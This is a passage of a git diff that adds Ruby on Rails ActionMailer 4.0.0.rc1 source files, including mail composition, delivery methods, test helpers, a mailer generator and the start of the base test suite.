+ # When a <tt>:return_path</tt> is specified as header, that value will be used as the 'envelope from'
+ # address for the Mail message. Setting this is useful when you want delivery notifications
+ # sent to a different address than the one in <tt>:from</tt>. Mail will actually use the
+ # <tt>:return_path</tt> in preference to the <tt>:sender</tt> in preference to the <tt>:from</tt>
+ # field for the 'envelope from' value.
+ #
+ # If you do not pass a block to the +mail+ method, it will find all templates in the
+ # view paths using by default the mailer name and the method name that it is being
+ # called from, it will then create parts for each of these templates intelligently,
+ # making educated guesses on correct content type and sequence, and return a fully
+ # prepared Mail::Message ready to call <tt>:deliver</tt> on to send.
+ #
+ # For example:
+ #
+ # class Notifier < ActionMailer::Base
+ # default from: 'no-reply at test.lindsaar.net',
+ #
+ # def welcome
+ # mail(to: 'mikel at test.lindsaar.net')
+ # end
+ # end
+ #
+ # Will look for all templates at "app/views/notifier" with name "welcome".
+ # If no welcome template exists, it will raise an ActionView::MissingTemplate error.
+ #
+ # However, those can be customized:
+ #
+ # mail(template_path: 'notifications', template_name: 'another')
+ #
+ # And now it will look for all templates at "app/views/notifications" with name "another".
+ #
+ # If you do pass a block, you can render specific templates of your choice:
+ #
+ # mail(to: 'mikel at test.lindsaar.net') do |format|
+ # format.text
+ # format.html
+ # end
+ #
+ # You can even render text directly without using a template:
+ #
+ # mail(to: 'mikel at test.lindsaar.net') do |format|
+ # format.text { render text: "Hello Mikel!" }
+ # format.html { render text: "<h1>Hello Mikel!</h1>" }
+ # end
+ #
+ # Which will render a <tt>multipart/alternative</tt> email with <tt>text/plain</tt> and
+ # <tt>text/html</tt> parts.
+ #
+ # The block syntax also allows you to customize the part headers if desired:
+ #
+ # mail(to: 'mikel at test.lindsaar.net') do |format|
+ # format.text(content_transfer_encoding: "base64")
+ # format.html
+ # end
+ #
+ def mail(headers = {}, &block)
+ @_mail_was_called = true
+ m = @_message
+
+ # At the beginning, do not consider class default for content_type
+ content_type = headers[:content_type]
+
+ # Call all the procs (if any)
+ class_default = self.class.default
+ default_values = class_default.merge(class_default) do |k,v|
+ v.respond_to?(:to_proc) ? instance_eval(&v) : v
+ end
+
+ # Handle defaults
+ headers = headers.reverse_merge(default_values)
+ headers[:subject] ||= default_i18n_subject
+
+ # Apply charset at the beginning so all fields are properly quoted
+ m.charset = charset = headers[:charset]
+
+ # Set configure delivery behavior
+ wrap_delivery_behavior!(headers.delete(:delivery_method),headers.delete(:delivery_method_options))
+
+ # Assign all headers except parts_order, content_type and body
+ assignable = headers.except(:parts_order, :content_type, :body, :template_name, :template_path)
+ assignable.each { |k, v| m[k] = v }
+
+ # Render the templates and blocks
+ responses = collect_responses(headers, &block)
+ create_parts_from_responses(m, responses)
+
+ # Setup content type, reapply charset and handle parts order
+ m.content_type = set_content_type(m, content_type, headers[:content_type])
+ m.charset = charset
+
+ if m.multipart?
+ m.body.set_sort_order(headers[:parts_order])
+ m.body.sort_parts!
+ end
+
+ m
+ end
+
+ protected
+
+ def set_content_type(m, user_content_type, class_default)
+ params = m.content_type_parameters || {}
+ case
+ when user_content_type.present?
+ user_content_type
+ when m.has_attachments?
+ if m.attachments.detect { |a| a.inline? }
+ ["multipart", "related", params]
+ else
+ ["multipart", "mixed", params]
+ end
+ when m.multipart?
+ ["multipart", "alternative", params]
+ else
+ m.content_type || class_default
+ end
+ end
+
+ # Translates the +subject+ using Rails I18n class under <tt>[mailer_scope, action_name]</tt> scope.
+ # If it does not find a translation for the +subject+ under the specified scope it will default to a
+ # humanized version of the <tt>action_name</tt>.
+ # If the subject has interpolations, you can pass them through the +interpolations+ parameter.
+ def default_i18n_subject(interpolations = {})
+ mailer_scope = self.class.mailer_name.tr('/', '.')
+ I18n.t(:subject, interpolations.merge(scope: [mailer_scope, action_name], default: action_name.humanize))
+ end
+
+ def collect_responses(headers) #:nodoc:
+ responses = []
+
+ if block_given?
+ collector = ActionMailer::Collector.new(lookup_context) { render(action_name) }
+ yield(collector)
+ responses = collector.responses
+ elsif headers[:body]
+ responses << {
+ body: headers.delete(:body),
+ content_type: self.class.default[:content_type] || "text/plain"
+ }
+ else
+ templates_path = headers.delete(:template_path) || self.class.mailer_name
+ templates_name = headers.delete(:template_name) || action_name
+
+ each_template(Array(templates_path), templates_name) do |template|
+ self.formats = template.formats
+
+ responses << {
+ body: render(template: template),
+ content_type: template.type.to_s
+ }
+ end
+ end
+
+ responses
+ end
+
+ def each_template(paths, name, &block) #:nodoc:
+ templates = lookup_context.find_all(name, paths)
+ if templates.empty?
+ raise ActionView::MissingTemplate.new(paths, name, paths, false, 'mailer')
+ else
+ templates.uniq { |t| t.formats }.each(&block)
+ end
+ end
+
+ def create_parts_from_responses(m, responses) #:nodoc:
+ if responses.size == 1 && !m.has_attachments?
+ responses[0].each { |k,v| m[k] = v }
+ elsif responses.size > 1 && m.has_attachments?
+ container = Mail::Part.new
+ container.content_type = "multipart/alternative"
+ responses.each { |r| insert_part(container, r, m.charset) }
+ m.add_part(container)
+ else
+ responses.each { |r| insert_part(m, r, m.charset) }
+ end
+ end
+
+ def insert_part(container, response, charset) #:nodoc:
+ response[:charset] ||= charset
+ part = Mail::Part.new(response)
+ container.add_part(part)
+ end
+
+ ActiveSupport.run_load_hooks(:action_mailer, self)
+ end
+end
diff --git a/actionmailer/lib/action_mailer/collector.rb b/actionmailer/lib/action_mailer/collector.rb
new file mode 100644
index 0000000..e8883a8
--- /dev/null
+++ b/actionmailer/lib/action_mailer/collector.rb
@@ -0,0 +1,30 @@
+require 'abstract_controller/collector'
+require 'active_support/core_ext/hash/reverse_merge'
+require 'active_support/core_ext/array/extract_options'
+
+module ActionMailer
+ class Collector
+ include AbstractController::Collector
+ attr_reader :responses
+
+ def initialize(context, &block)
+ @context = context
+ @responses = []
+ @default_render = block
+ end
+
+ def any(*args, &block)
+ options = args.extract_options!
+ raise ArgumentError, "You have to supply at least one format" if args.empty?
+ args.each { |type| send(type, options.dup, &block) }
+ end
+ alias :all :any
+
+ def custom(mime, options = {})
+ options.reverse_merge!(content_type: mime.to_s)
+ @context.formats = [mime.to_sym]
+ options[:body] = block_given? ? yield : @default_render.call
+ @responses << options
+ end
+ end
+end
diff --git a/actionmailer/lib/action_mailer/delivery_methods.rb b/actionmailer/lib/action_mailer/delivery_methods.rb
new file mode 100644
index 0000000..caea3d7
--- /dev/null
+++ b/actionmailer/lib/action_mailer/delivery_methods.rb
@@ -0,0 +1,83 @@
+require 'tmpdir'
+
+module ActionMailer
+ # This module handles everything related to mail delivery, from registering
+ # new delivery methods to configuring the mail object to be sent.
+ module DeliveryMethods
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :delivery_methods, :delivery_method
+
+ # Do not make this inheritable, because we always want it to propagate
+ cattr_accessor :raise_delivery_errors
+ self.raise_delivery_errors = true
+
+ cattr_accessor :perform_deliveries
+ self.perform_deliveries = true
+
+ self.delivery_methods = {}.freeze
+ self.delivery_method = :smtp
+
+ add_delivery_method :smtp, Mail::SMTP,
+ address: "localhost",
+ port: 25,
+ domain: 'localhost.localdomain',
+ user_name: nil,
+ password: nil,
+ authentication: nil,
+ enable_starttls_auto: true
+
+ add_delivery_method :file, Mail::FileDelivery,
+ location: defined?(Rails.root) ? "#{Rails.root}/tmp/mails" : "#{Dir.tmpdir}/mails"
+
+ add_delivery_method :sendmail, Mail::Sendmail,
+ location: '/usr/sbin/sendmail',
+ arguments: '-i -t'
+
+ add_delivery_method :test, Mail::TestMailer
+ end
+
+ module ClassMethods
+ # Provides a list of emails that have been delivered by Mail::TestMailer
+ delegate :deliveries, :deliveries=, to: Mail::TestMailer
+
+ # Adds a new delivery method through the given class using the given
+ # symbol as alias and the default options supplied.
+ #
+ # add_delivery_method :sendmail, Mail::Sendmail,
+ # location: '/usr/sbin/sendmail',
+ # arguments: '-i -t'
+ def add_delivery_method(symbol, klass, default_options={})
+ class_attribute(:"#{symbol}_settings") unless respond_to?(:"#{symbol}_settings")
+ send(:"#{symbol}_settings=", default_options)
+ self.delivery_methods = delivery_methods.merge(symbol.to_sym => klass).freeze
+ end
+
+ def wrap_delivery_behavior(mail, method=nil, options=nil) # :nodoc:
+ method ||= self.delivery_method
+ mail.delivery_handler = self
+
+ case method
+ when NilClass
+ raise "Delivery method cannot be nil"
+ when Symbol
+ if klass = delivery_methods[method]
+ mail.delivery_method(klass,(send(:"#{method}_settings") || {}).merge!(options || {}))
+ else
+ raise "Invalid delivery method #{method.inspect}"
+ end
+ else
+ mail.delivery_method(method)
+ end
+
+ mail.perform_deliveries = perform_deliveries
+ mail.raise_delivery_errors = raise_delivery_errors
+ end
+ end
+
+ def wrap_delivery_behavior!(*args) # :nodoc:
+ self.class.wrap_delivery_behavior(message, *args)
+ end
+ end
+end
diff --git a/actionmailer/lib/action_mailer/log_subscriber.rb b/actionmailer/lib/action_mailer/log_subscriber.rb
new file mode 100644
index 0000000..3fe6475
--- /dev/null
+++ b/actionmailer/lib/action_mailer/log_subscriber.rb
@@ -0,0 +1,22 @@
+module ActionMailer
+ class LogSubscriber < ActiveSupport::LogSubscriber
+ def deliver(event)
+ return unless logger.info?
+ recipients = Array(event.payload[:to]).join(', ')
+ info("\nSent mail to #{recipients} (#{event.duration.round(1)}ms)")
+ debug(event.payload[:mail])
+ end
+
+ def receive(event)
+ return unless logger.info?
+ info("\nReceived mail (#{event.duration.round(1)}ms)")
+ debug(event.payload[:mail])
+ end
+
+ def logger
+ ActionMailer::Base.logger
+ end
+ end
+end
+
+ActionMailer::LogSubscriber.attach_to :action_mailer
diff --git a/actionmailer/lib/action_mailer/mail_helper.rb b/actionmailer/lib/action_mailer/mail_helper.rb
new file mode 100644
index 0000000..ec84256
--- /dev/null
+++ b/actionmailer/lib/action_mailer/mail_helper.rb
@@ -0,0 +1,54 @@
+module ActionMailer
+ module MailHelper
+ # Take the text and format it, indented two spaces for each line, and
+ # wrapped at 72 columns.
+ def block_format(text)
+ formatted = text.split(/\n\r?\n/).collect { |paragraph|
+ format_paragraph(paragraph)
+ }.join("\n\n")
+
+ # Make list points stand on their own line
+ formatted.gsub!(/[ ]*([*]+) ([^*]*)/) { |s| " #{$1} #{$2.strip}\n" }
+ formatted.gsub!(/[ ]*([#]+) ([^#]*)/) { |s| " #{$1} #{$2.strip}\n" }
+
+ formatted
+ end
+
+ # Access the mailer instance.
+ def mailer
+ @_controller
+ end
+
+ # Access the message instance.
+ def message
+ @_message
+ end
+
+ # Access the message attachments list.
+ def attachments
+ @_message.attachments
+ end
+
+ # Returns +text+ wrapped at +len+ columns and indented +indent+ spaces.
+ #
+ # my_text = 'Here is a sample text with more than 40 characters'
+ #
+ # format_paragraph(my_text, 25, 4)
+ # # => " Here is a sample text with\n more than 40 characters"
+ def format_paragraph(text, len = 72, indent = 2)
+ sentences = [[]]
+
+ text.split.each do |word|
+ if sentences.first.present? && (sentences.last + [word]).join(' ').length > len
+ sentences << [word]
+ else
+ sentences.last << word
+ end
+ end
+
+ sentences.map { |sentence|
+ "#{" " * indent}#{sentence.join(' ')}"
+ }.join "\n"
+ end
+ end
+end
diff --git a/actionmailer/lib/action_mailer/railtie.rb b/actionmailer/lib/action_mailer/railtie.rb
new file mode 100644
index 0000000..7677ff3
--- /dev/null
+++ b/actionmailer/lib/action_mailer/railtie.rb
@@ -0,0 +1,44 @@
+require "action_mailer"
+require "rails"
+require "abstract_controller/railties/routes_helpers"
+
+module ActionMailer
+ class Railtie < Rails::Railtie # :nodoc:
+ config.action_mailer = ActiveSupport::OrderedOptions.new
+ config.eager_load_namespaces << ActionMailer
+
+ initializer "action_mailer.logger" do
+ ActiveSupport.on_load(:action_mailer) { self.logger ||= Rails.logger }
+ end
+
+ initializer "action_mailer.set_configs" do |app|
+ paths = app.config.paths
+ options = app.config.action_mailer
+
+ options.assets_dir ||= paths["public"].first
+ options.javascripts_dir ||= paths["public/javascripts"].first
+ options.stylesheets_dir ||= paths["public/stylesheets"].first
+
+ # make sure readers methods get compiled
+ options.asset_host ||= app.config.asset_host
+ options.relative_url_root ||= app.config.relative_url_root
+
+ ActiveSupport.on_load(:action_mailer) do
+ include AbstractController::UrlFor
+ extend ::AbstractController::Railties::RoutesHelpers.with(app.routes)
+ include app.routes.mounted_helpers
+
+ register_interceptors(options.delete(:interceptors))
+ register_observers(options.delete(:observers))
+
+ options.each { |k,v| send("#{k}=", v) }
+ end
+ end
+
+ initializer "action_mailer.compile_config_methods" do
+ ActiveSupport.on_load(:action_mailer) do
+ config.compile_methods! if config.respond_to?(:compile_methods!)
+ end
+ end
+ end
+end
diff --git a/actionmailer/lib/action_mailer/test_case.rb b/actionmailer/lib/action_mailer/test_case.rb
new file mode 100644
index 0000000..207f949
--- /dev/null
+++ b/actionmailer/lib/action_mailer/test_case.rb
@@ -0,0 +1,85 @@
+require 'active_support/test_case'
+
+module ActionMailer
+ class NonInferrableMailerError < ::StandardError
+ def initialize(name)
+ super "Unable to determine the mailer to test from #{name}. " +
+ "You'll need to specify it using tests YourMailer in your " +
+ "test case definition"
+ end
+ end
+
+ class TestCase < ActiveSupport::TestCase
+ module Behavior
+ extend ActiveSupport::Concern
+
+ include ActiveSupport::Testing::ConstantLookup
+ include TestHelper
+
+ included do
+ class_attribute :_mailer_class
+ setup :initialize_test_deliveries
+ setup :set_expected_mail
+ end
+
+ module ClassMethods
+ def tests(mailer)
+ case mailer
+ when String, Symbol
+ self._mailer_class = mailer.to_s.camelize.constantize
+ when Module
+ self._mailer_class = mailer
+ else
+ raise NonInferrableMailerError.new(mailer)
+ end
+ end
+
+ def mailer_class
+ if mailer = self._mailer_class
+ mailer
+ else
+ tests determine_default_mailer(name)
+ end
+ end
+
+ def determine_default_mailer(name)
+ mailer = determine_constant_from_test_name(name) do |constant|
+ Class === constant && constant < ActionMailer::Base
+ end
+ raise NonInferrableMailerError.new(name) if mailer.nil?
+ mailer
+ end
+ end
+
+ protected
+
+ def initialize_test_deliveries
+ ActionMailer::Base.delivery_method = :test
+ ActionMailer::Base.perform_deliveries = true
+ ActionMailer::Base.deliveries.clear
+ end
+
+ def set_expected_mail
+ @expected = Mail.new
+ @expected.content_type ["text", "plain", { "charset" => charset }]
+ @expected.mime_version = '1.0'
+ end
+
+ private
+
+ def charset
+ "UTF-8"
+ end
+
+ def encode(subject)
+ Mail::Encodings.q_value_encode(subject, charset)
+ end
+
+ def read_fixture(action)
+ IO.readlines(File.join(Rails.root, 'test', 'fixtures', self.class.mailer_class.name.underscore, action))
+ end
+ end
+
+ include Behavior
+ end
+end
diff --git a/actionmailer/lib/action_mailer/test_helper.rb b/actionmailer/lib/action_mailer/test_helper.rb
new file mode 100644
index 0000000..6452bf6
--- /dev/null
+++ b/actionmailer/lib/action_mailer/test_helper.rb
@@ -0,0 +1,60 @@
+module ActionMailer
+ module TestHelper
+ # Asserts that the number of emails sent matches the given number.
+ #
+ # def test_emails
+ # assert_emails 0
+ # ContactMailer.welcome.deliver
+ # assert_emails 1
+ # ContactMailer.welcome.deliver
+ # assert_emails 2
+ # end
+ #
+ # If a block is passed, that block should cause the specified number of
+ # emails to be sent.
+ #
+ # def test_emails_again
+ # assert_emails 1 do
+ # ContactMailer.welcome.deliver
+ # end
+ #
+ # assert_emails 2 do
+ # ContactMailer.welcome.deliver
+ # ContactMailer.welcome.deliver
+ # end
+ # end
+ def assert_emails(number)
+ if block_given?
+ original_count = ActionMailer::Base.deliveries.size
+ yield
+ new_count = ActionMailer::Base.deliveries.size
+ assert_equal original_count + number, new_count, "#{number} emails expected, but #{new_count - original_count} were sent"
+ else
+ assert_equal number, ActionMailer::Base.deliveries.size
+ end
+ end
+
+ # Assert that no emails have been sent.
+ #
+ # def test_emails
+ # assert_no_emails
+ # ContactMailer.welcome.deliver
+ # assert_emails 1
+ # end
+ #
+ # If a block is passed, that block should not cause any emails to be sent.
+ #
+ # def test_emails_again
+ # assert_no_emails do
+ # # No emails should be sent from this block
+ # end
+ # end
+ #
+ # Note: This assertion is simply a shortcut for:
+ #
+ # assert_emails 0
+ def assert_no_emails(&block)
+ assert_emails 0, &block
+ end
+ end
+end
diff --git a/actionmailer/lib/action_mailer/version.rb b/actionmailer/lib/action_mailer/version.rb
new file mode 100644
index 0000000..ab67f62
--- /dev/null
+++ b/actionmailer/lib/action_mailer/version.rb
@@ -0,0 +1,11 @@
+module ActionMailer
+ # Returns the version of the currently loaded ActionMailer as a Gem::Version
+ def self.version
+ Gem::Version.new "4.0.0.rc1"
+ end
+
+ module VERSION #:nodoc:
+ MAJOR, MINOR, TINY, PRE = ActionMailer.version.segments
+ STRING = ActionMailer.version.to_s
+ end
+end
diff --git a/actionmailer/lib/rails/generators/mailer/USAGE b/actionmailer/lib/rails/generators/mailer/USAGE
new file mode 100644
index 0000000..323bb8a
--- /dev/null
+++ b/actionmailer/lib/rails/generators/mailer/USAGE
@@ -0,0 +1,17 @@
+Description:
+============
+ Stubs out a new mailer and its views. Passes the mailer name, either
+ CamelCased or under_scored, and an optional list of emails as arguments.
+
+ This generates a mailer class in app/mailers and invokes your template
+ engine and test framework generators.
+
+Example:
+========
+ rails generate mailer Notifications signup forgot_password invoice
+
+ creates a Notifications mailer class, views, and test:
+ Mailer: app/mailers/notifications.rb
+ Views: app/views/notifications/signup.text.erb [...]
+ Test: test/mailers/notifications_test.rb
+
diff --git a/actionmailer/lib/rails/generators/mailer/mailer_generator.rb b/actionmailer/lib/rails/generators/mailer/mailer_generator.rb
new file mode 100644
index 0000000..d5bf864
--- /dev/null
+++ b/actionmailer/lib/rails/generators/mailer/mailer_generator.rb
@@ -0,0 +1,16 @@
+module Rails
+ module Generators
+ class MailerGenerator < NamedBase
+ source_root File.expand_path("../templates", __FILE__)
+
+ argument :actions, type: :array, default: [], banner: "method method"
+ check_class_collision
+
+ def create_mailer_file
+ template "mailer.rb", File.join('app/mailers', class_path, "#{file_name}.rb")
+ end
+
+ hook_for :template_engine, :test_framework
+ end
+ end
+end
diff --git a/actionmailer/lib/rails/generators/mailer/templates/mailer.rb b/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
new file mode 100644
index 0000000..edcfb42
--- /dev/null
+++ b/actionmailer/lib/rails/generators/mailer/templates/mailer.rb
@@ -0,0 +1,18 @@
+<% module_namespacing do -%>
+class <%= class_name %> < ActionMailer::Base
+ default from: "from at example.com"
+<% actions.each do |action| -%>
+
+ # Subject can be set in your I18n file at config/locales/en.yml
+ # with the following lookup:
+ #
+ # en.<%= file_path.tr("/",".") %>.<%= action %>.subject
+ #
+ def <%= action %>
+ @greeting = "Hi"
+
+ mail to: "to at example.org"
+ end
+<% end -%>
+end
+<% end -%>
diff --git a/actionmailer/test/abstract_unit.rb b/actionmailer/test/abstract_unit.rb
new file mode 100644
index 0000000..15729ba
--- /dev/null
+++ b/actionmailer/test/abstract_unit.rb
@@ -0,0 +1,63 @@
+require File.expand_path('../../../load_paths', __FILE__)
+require 'active_support/core_ext/kernel/reporting'
+
+# These are the normal settings that will be set up by Railties
+# TODO: Have these tests support other combinations of these values
+silence_warnings do
+ Encoding.default_internal = "UTF-8"
+ Encoding.default_external = "UTF-8"
+end
+
+require 'active_support/testing/autorun'
+require 'action_mailer'
+require 'action_mailer/test_case'
+
+silence_warnings do
+ # These external dependencies have warnings :/
+ require 'mail'
+end
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+# Bogus template processors
+ActionView::Template.register_template_handler :haml, lambda { |template| "Look its HAML!".inspect }
+ActionView::Template.register_template_handler :bak, lambda { |template| "Lame backup".inspect }
+
+FIXTURE_LOAD_PATH = File.expand_path('fixtures', File.dirname(__FILE__))
+ActionMailer::Base.view_paths = FIXTURE_LOAD_PATH
+
+class MockSMTP
+ def self.deliveries
+ @@deliveries
+ end
+
+ def initialize
+ @@deliveries = []
+ end
+
+ def sendmail(mail, from, to)
+ @@deliveries << [mail, from, to]
+ end
+
+ def start(*args)
+ yield self
+ end
+end
+
+class Net::SMTP
+ def self.new(*args)
+ MockSMTP.new
+ end
+end
+
+def set_delivery_method(method)
+ @old_delivery_method = ActionMailer::Base.delivery_method
+ ActionMailer::Base.delivery_method = method
+end
+
+def restore_delivery_method
+ ActionMailer::Base.delivery_method = @old_delivery_method
+end
+
+ActiveSupport::Deprecation.silenced = true
diff --git a/actionmailer/test/asset_host_test.rb b/actionmailer/test/asset_host_test.rb
new file mode 100644
index 0000000..00f1348
--- /dev/null
+++ b/actionmailer/test/asset_host_test.rb
@@ -0,0 +1,55 @@
+require 'abstract_unit'
+require 'action_controller'
+
+class AssetHostMailer < ActionMailer::Base
+ def email_with_asset
+ mail to: 'test at localhost',
+ subject: 'testing email containing asset path while asset_host is set',
+ from: 'tester at example.com'
+ end
+end
+
+class AssetHostTest < ActiveSupport::TestCase
+ def setup
+ set_delivery_method :test
+ ActionMailer::Base.perform_deliveries = true
+ ActionMailer::Base.deliveries.clear
+ AssetHostMailer.configure do |c|
+ c.asset_host = "http://www.example.com"
+ end
+ end
+
+ def teardown
+ restore_delivery_method
+ end
+
+ def test_asset_host_as_string
+ mail = AssetHostMailer.email_with_asset
+ assert_equal %Q{<img alt="Somelogo" src="http://www.example.com/images/somelogo.png" />}, mail.body.to_s.strip
+ end
+
+ def test_asset_host_as_one_argument_proc
+ AssetHostMailer.config.asset_host = Proc.new { |source|
+ if source.starts_with?('/images')
+ "http://images.example.com"
+ else
+ "http://assets.example.com"
+ end
+ }
+ mail = AssetHostMailer.email_with_asset
+ assert_equal %Q{<img alt="Somelogo" src="http://images.example.com/images/somelogo.png" />}, mail.body.to_s.strip
+ end
+
+ def test_asset_host_as_two_argument_proc
+ ActionController::Base.config.asset_host = Proc.new {|source,request|
+ if request && request.ssl?
+ "https://www.example.com"
+ else
+ "http://www.example.com"
+ end
+ }
+ mail = nil
+ assert_nothing_raised { mail = AssetHostMailer.email_with_asset }
+ assert_equal %Q{<img alt="Somelogo" src="http://www.example.com/images/somelogo.png" />}, mail.body.to_s.strip
+ end
+end
diff --git a/actionmailer/test/base_test.rb b/actionmailer/test/base_test.rb
new file mode 100644
index 0000000..b9c56c5
--- /dev/null
+++ b/actionmailer/test/base_test.rb
@@ -0,0 +1,694 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'set'
+
+require 'action_dispatch'
+require 'active_support/time'
+
+require 'mailers/base_mailer'
+require 'mailers/proc_mailer'
+require 'mailers/asset_mailer'
+
+class BaseTest < ActiveSupport::TestCase
+ def teardown
+ ActionMailer::Base.asset_host = nil
+ ActionMailer::Base.assets_dir = nil
+ end
+
+ test "method call to mail does not raise error" do
+ assert_nothing_raised { BaseMailer.welcome }
+ end
+
+ # Basic mail usage without block
+ test "mail() should set the headers of the mail message" do
+ email = BaseMailer.welcome
+ assert_equal(['system at test.lindsaar.net'], email.to)
+ assert_equal(['jose at test.plataformatec.com'], email.from)
+ assert_equal('The first email on new API!', email.subject)
+ end
+
+ test "mail() with from overwrites the class level default" do
+ email = BaseMailer.welcome(from: 'someone at example.com',
+ to: 'another at example.org')
+ assert_equal(['someone at example.com'], email.from)
+ assert_equal(['another at example.org'], email.to)
+ end
+
+ test "mail() with bcc, cc, content_type, charset, mime_version, reply_to and date" do
+ time = Time.now.beginning_of_day.to_datetime
+ email = BaseMailer.welcome(bcc: 'bcc at test.lindsaar.net',
+ cc: 'cc at test.lindsaar.net',
+ content_type: 'multipart/mixed',
+ charset: 'iso-8559-1',
+ mime_version: '2.0',
+ reply_to: 'reply-to at test.lindsaar.net',
+ date: time)
+ assert_equal(['bcc at test.lindsaar.net'], email.bcc)
+ assert_equal(['cc at test.lindsaar.net'], email.cc)
+ assert_equal('multipart/mixed; charset=iso-8559-1', email.content_type)
+ assert_equal('iso-8559-1', email.charset)
+ assert_equal('2.0', email.mime_version)
+ assert_equal(['reply-to at test.lindsaar.net'], email.reply_to)
+ assert_equal(time, email.date)
+ end
+
+ test "mail() renders the template using the method being processed" do
+ email = BaseMailer.welcome
+ assert_equal("Welcome", email.body.encoded)
+ end
+
+ test "can pass in :body to the mail method hash" do
+ email = BaseMailer.welcome(body: "Hello there")
+ assert_equal("text/plain", email.mime_type)
+ assert_equal("Hello there", email.body.encoded)
+ end
+
+ test "should set template content type if mail has only one part" do
+ mail = BaseMailer.html_only
+ assert_equal('text/html', mail.mime_type)
+ mail = BaseMailer.plain_text_only
+ assert_equal('text/plain', mail.mime_type)
+ end
+
+ # Custom headers
+ test "custom headers" do
+ email = BaseMailer.welcome
+ assert_equal("Not SPAM", email['X-SPAM'].decoded)
+ end
+
+ test "can pass random headers in as a hash to mail" do
+ hash = {'X-Special-Domain-Specific-Header' => "SecretValue",
+ 'In-Reply-To' => '1234 at mikel.me.com' }
+ mail = BaseMailer.welcome(hash)
+ assert_equal('SecretValue', mail['X-Special-Domain-Specific-Header'].decoded)
+ assert_equal('1234 at mikel.me.com', mail['In-Reply-To'].decoded)
+ end
+
+ test "can pass random headers in as a hash to headers" do
+ hash = {'X-Special-Domain-Specific-Header' => "SecretValue",
+ 'In-Reply-To' => '1234 at mikel.me.com' }
+ mail = BaseMailer.welcome_with_headers(hash)
+ assert_equal('SecretValue', mail['X-Special-Domain-Specific-Header'].decoded)
+ assert_equal('1234 at mikel.me.com', mail['In-Reply-To'].decoded)
+ end
+
+ # Attachments
+ test "attachment with content" do
+ email = BaseMailer.attachment_with_content
+ assert_equal(1, email.attachments.length)
+ assert_equal('invoice.pdf', email.attachments[0].filename)
+ assert_equal('This is test File content', email.attachments['invoice.pdf'].decoded)
+ end
+
+ test "attachment gets content type from filename" do
+ email = BaseMailer.attachment_with_content
+ assert_equal('invoice.pdf', email.attachments[0].filename)
+ end
+
+ test "attachment with hash" do
+ email = BaseMailer.attachment_with_hash
+ assert_equal(1, email.attachments.length)
+ assert_equal('invoice.jpg', email.attachments[0].filename)
+ expected = "\312\213\254\232)b"
+ expected.force_encoding(Encoding::BINARY)
+ assert_equal expected, email.attachments['invoice.jpg'].decoded
+ end
+
+ test "attachment with hash using default mail encoding" do
+ email = BaseMailer.attachment_with_hash_default_encoding
+ assert_equal(1, email.attachments.length)
+ assert_equal('invoice.jpg', email.attachments[0].filename)
+ expected = "\312\213\254\232)b"
+ expected.force_encoding(Encoding::BINARY)
+ assert_equal expected, email.attachments['invoice.jpg'].decoded
+ end
+
+ test "sets mime type to multipart/mixed when attachment is included" do
+ email = BaseMailer.attachment_with_content
+ assert_equal(1, email.attachments.length)
+ assert_equal("multipart/mixed", email.mime_type)
+ end
+
+ test "adds the rendered template as part" do
+ email = BaseMailer.attachment_with_content
+ assert_equal(2, email.parts.length)
+ assert_equal("multipart/mixed", email.mime_type)
+ assert_equal("text/html", email.parts[0].mime_type)
+ assert_equal("Attachment with content", email.parts[0].body.encoded)
+ assert_equal("application/pdf", email.parts[1].mime_type)
+ assert_equal("VGhpcyBpcyB0ZXN0IEZpbGUgY29udGVudA==\r\n", email.parts[1].body.encoded)
+ end
+
+ test "adds the given :body as part" do
+ email = BaseMailer.attachment_with_content(body: "I'm the eggman")
+ assert_equal(2, email.parts.length)
+ assert_equal("multipart/mixed", email.mime_type)
+ assert_equal("text/plain", email.parts[0].mime_type)
+ assert_equal("I'm the eggman", email.parts[0].body.encoded)
+ assert_equal("application/pdf", email.parts[1].mime_type)
+ assert_equal("VGhpcyBpcyB0ZXN0IEZpbGUgY29udGVudA==\r\n", email.parts[1].body.encoded)
+ end
+
+ test "can embed an inline attachment" do
+ email = BaseMailer.inline_attachment
+ # Need to call #encoded to force the JIT sort on parts
+ email.encoded
+ assert_equal(2, email.parts.length)
+ assert_equal("multipart/related", email.mime_type)
+ assert_equal("multipart/alternative", email.parts[0].mime_type)
+ assert_equal("text/plain", email.parts[0].parts[0].mime_type)
+ assert_equal("text/html", email.parts[0].parts[1].mime_type)
+ assert_equal("logo.png", email.parts[1].filename)
+ end
+
+ # Defaults values
+ test "uses default charset from class" do
+ with_default BaseMailer, charset: "US-ASCII" do
+ email = BaseMailer.welcome
+ assert_equal("US-ASCII", email.charset)
+
+ email = BaseMailer.welcome(charset: "iso-8559-1")
+ assert_equal("iso-8559-1", email.charset)
+ end
+ end
+
+ test "uses default content type from class" do
+ with_default BaseMailer, content_type: "text/html" do
+ email = BaseMailer.welcome
+ assert_equal("text/html", email.mime_type)
+
+ email = BaseMailer.welcome(content_type: "text/plain")
+ assert_equal("text/plain", email.mime_type)
+ end
+ end
+
+ test "uses default mime version from class" do
+ with_default BaseMailer, mime_version: "2.0" do
+ email = BaseMailer.welcome
+ assert_equal("2.0", email.mime_version)
+
+ email = BaseMailer.welcome(mime_version: "1.0")
+ assert_equal("1.0", email.mime_version)
+ end
+ end
+
+ test "uses random default headers from class" do
+ with_default BaseMailer, "X-Custom" => "Custom" do
+ email = BaseMailer.welcome
+ assert_equal("Custom", email["X-Custom"].decoded)
+ end
+ end
+
+ test "subject gets default from I18n" do
+ BaseMailer.default subject: nil
+ email = BaseMailer.welcome(subject: nil)
+ assert_equal "Welcome", email.subject
+
+ I18n.backend.store_translations('en', base_mailer: {welcome: {subject: "New Subject!"}})
+ email = BaseMailer.welcome(subject: nil)
+ assert_equal "New Subject!", email.subject
+ end
+
+ test 'default subject can have interpolations' do
+ I18n.backend.store_translations('en', base_mailer: {with_subject_interpolations: {subject: 'Will the real %{rapper_or_impersonator} please stand up?'}})
+ email = BaseMailer.with_subject_interpolations
+ assert_equal 'Will the real Slim Shady please stand up?', email.subject
+ end
+
+ test "translations are scoped properly" do
+ I18n.backend.store_translations('en', base_mailer: {email_with_translations: {greet_user: "Hello %{name}!"}})
+ email = BaseMailer.email_with_translations
+ assert_equal 'Hello lifo!', email.body.encoded
+ end
+
+ # Implicit multipart
+ test "implicit multipart" do
+ email = BaseMailer.implicit_multipart
+ assert_equal(2, email.parts.size)
